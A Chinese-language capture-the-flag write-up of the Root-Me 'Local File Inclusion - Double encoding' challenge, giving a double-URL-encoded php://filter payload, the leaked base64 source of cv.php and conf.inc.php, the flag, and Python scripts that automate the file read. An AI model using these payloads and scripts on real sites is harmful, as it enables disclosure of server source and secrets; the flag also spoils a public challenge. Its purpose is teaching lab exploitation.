CTF-rootme 题解之Local File Inclusion - Double encoding
LINK:https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion-Double-encoding
http://challenge01.root-me.org/web-serveur/ch45/
本题考察的是本地文件包含漏洞和URL编码,而且是二次编码。
查看链接如下:
http://challenge01.root-me.org/web-serveur/ch45/index.php?page=home
http://challenge01.root-me.org/web-serveur/ch45/index.php?page=cv
构造Payload如下:
php://filter/read=convert.base64-encode/resource=cv
直接输入不会出现我们想要的结果,使用url编码两次得到如下结果:(一般的在线编码网站不能将'-'和'.'两个字符编码,且编码结果为小写字符,所以编写了一个python脚本。)
php%253A%252F%252Ffilter%252Fread%253Dconvert%252Ebase64%252Dencode%252Fresource%253Dcv
针对本题编写一个python的url编码脚本:
#!/usr/bin/env python3 # encoding: utf-8 dict = {'%':'%25','-':'%2D','.':'%2E','/':'%2F',':':'%3A','=':'%3D'} def encode_url(s): result = [] for i in s: try: result.append(dict[i]) except: result.append(i) return result def encode_sec(s): for i in range(len(s)): if '%' in s[i]: s[i]='%25'+s[i].replace('%','') print(s[i],end='') if __name__ == '__main__': payload = input("Please input your payload>>>:") encode_sec(encode_url(payload))
打开http://challenge01.root-me.org/web-serveur/ch45/index.php?page=php%253A%252F%252Ffilter%252Fread%253Dconvert%252Ebase64%252Dencode%252Fresource%253Dcv得到cv.php文件的base64编码内容如下:
PD9waHAgaW5jbHVkZSgiY29uZi5pbmMucGhwIik7ID8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5KLiBTbWl0aCAtIENWPC90aXRsZT4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8Pz0gJGNvbmZbJ2dsb2JhbF9zdHlsZSddID8+CiAgICA8bmF2PgogICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1ob21lIj5Ib21lPC9hPgogICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1jdiIgY2xhc3M9ImFjdGl2ZSI+Q1Y8L2E+CiAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWNvbnRhY3QiPkNvbnRhY3Q8L2E+CiAgICA8L25hdj4KICAgIDxoMT48Pz0gJGNvbmZbJ2NvbnRhY3QnXVsnZmlyc3RuYW1lJ10gPz4gPD89ICRjb25mWydjb250YWN0J11bJ2xhc3RuYW1lJ10gPz48L2gxPgogICAgPGgzPlByb2Zlc3Npb25hbCBkb2VyPC9oMz4KICAgIDw/PSAkY29uZlsnY3YnXVsnZ2VuZGVyJ10gPyAiTWFsZSIgOiAiRmVtYWxlIiA/Pjxicj4KICAgIDw/PSBkYXRlKCdZL20vZCcsICRjb25mWydjdiddWydiaXJ0aCddKSA/PiAoPD89IGRhdGUoJ1knKS1kYXRlKCdZJywgJGNvbmZbJ2N2J11bJ2JpcnRoJ10pID8+KQogICAgPD9waHAKICAgICAgZm9yZWFjaCAoJGNvbmZbJ2N2J11bJ2pvYnMnXSBhcyAkam9iKSB7CiAgICA/PgogICAgICA8ZGl2IGNsYXNzPSJqb2IiPgogICAgICAgIDxoND48Pz0gJGpvYlsndGl0bGUnXSA/PiAtIDxzcGFuIGNsYXNzPSJkYXRlIj48Pz0gJGpvYlsnZGF0ZSddID8+PC9zcGFuPjwvaDQ+CiAgICAgIDwvZGl2PgogICAgPD9waHAKICAgICAgfQogICAgPz4KICA8L2JvZHk+CjwvaHRtbD4K
使用echo -n '编码' |base64 -d得到如下结果:发现conf.inc.php文件。
<?php include("conf.inc.php"); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>J. Smith - CV</title> </head> <body> <?= $conf['global_style'] ?> <nav> <a href="index.php?page=home">Home</a> <a href="index.php?page=cv" class="active">CV</a> <a href="index.php?page=contact">Contact</a> </nav> <h1><?= $conf['contact']['firstname'] ?> <?= $conf['contact']['lastname'] ?></h1> <h3>Professional doer</h3> <?= $conf['cv']['gender'] ? "Male" : "Female" ?><br> <?= date('Y/m/d', $conf['cv']['birth']) ?> (<?= date('Y')-date('Y', $conf['cv']['birth']) ?>) <?php foreach ($conf['cv']['jobs'] as $job) { ?> <div class="job"> <h4><?= $job['title'] ?> - <span class="date"><?= $job['date'] ?></span></h4> </div> <?php } ?> </body> </html>
打开链接http://challenge01.root-me.org/web-serveur/ch45/index.php?page=1得到如下信息:
Warning: include(1.inc.php): failed to open stream: No such file or directory in /challenge/web-serveur/ch45/index.php on line 7
Warning: include(): Failed opening '1.inc.php' for inclusion (include_path='.:/usr/share/php') in /challenge/web-serveur/ch45/index.php on line 7
由此可以判断出访问conf.inc.php的链接为http://challenge01.root-me.org/web-serveur/ch45/index.php?page=conf。
构造Payload:php://filter/read=convert.base64-encode/resource=conf
编码得到下面的地址。
打开链接http://challenge01.root-me.org/web-serveur/ch45/index.php?page=php%253A%252F%252Ffilter%252Fread%253Dconvert%252Ebase64%252Dencode%252Fresource%253Dconf,解码得到文件源代码内容后,得到flag。
PD9waHAKICAkY29uZiA9IFsKICAgICJmbGFnIiAgICAgICAgPT4gIlRoMXNJc1RoM0ZsNGchIiwKICAgICJob21lIiAgICAgICAgPT4gJzxoMj5XZWxjb21lPC9oMj4KICAgIDxkaXY
[ BlackArch ~ ]# echo -n 'PD9waHAKICAkY29uZiA9IFsKICAgICJmbGFnIiAgICAgICAgPT4gIlRoMXNJc1RoM0ZsNGchIiwKICAgICJob21lIiAgICAgICAgPT4gJzxoMj5XZWxjb21lPC9oMj4KICAgIDxkaXY'|base64 -d <?php $conf = [ "flag" => "", "home" => '<h2>Welcome</h2> <divbase64: invalid input
附上直接get flag的脚本:
#!/usr/bin/env python3 # encoding: utf-8 import urllib.request import base64 dict = {'%':'%25','-':'%2D','.':'%2E','/':'%2F',':':'%3A','=':'%3D'} def encode_url(s): result = [] for i in s: try: result.append(dict[i]) except: result.append(i) return result def encode_sec(s): result = [] for i in range(len(s)): if '%' in s[i]: s[i]='%25'+s[i].replace('%','') result.append(s[i]) return ''.join(result) if __name__ == '__main__': #输入php://filter/convert.base64-encode/resource=conf payload = input("Please input your payload>>>:") suburl = encode_sec(encode_url(payload)) url = 'http://challenge01.root-me.org/web-serveur/ch45/index.php?page=' + suburl with urllib.request.urlopen(url) as response: html = response.read() sourcecode = str(base64.b64decode(html)) print(sourcecode.replace("\\n", "\n")) with open ("conf.inc.php","w") as file: file.write(sourcecode.replace("\\n", "\n"))
使用requests模块实现的代码如下:
#!/usr/bin/env python3 # encoding: utf-8 import base64 import requests dict = {'%':'%25','-':'%2D','.':'%2E','/':'%2F',':':'%3A','=':'%3D'} def encode_url(s): result = [] for i in s: try: result.append(dict[i]) except: result.append(i) return result def encode_sec(s): result = [] for i in range(len(s)): if '%' in s[i]: s[i]='%25'+s[i].replace('%','') result.append(s[i]) return ''.join(result) if __name__ == '__main__': #输入php://filter/convert.base64-encode/resource=conf payload = input("Please input your payload>>>:") suburl = encode_sec(encode_url(payload)) url = 'http://challenge01.root-me.org/web-serveur/ch45/index.php?page=' + suburl html = requests.get(url).text sourcecode = str(base64.b64decode(html)) print(sourcecode.replace("\\n", "\n")) with open ("conf.inc.php","w") as file: file.write(sourcecode.replace("\\n", "\n"))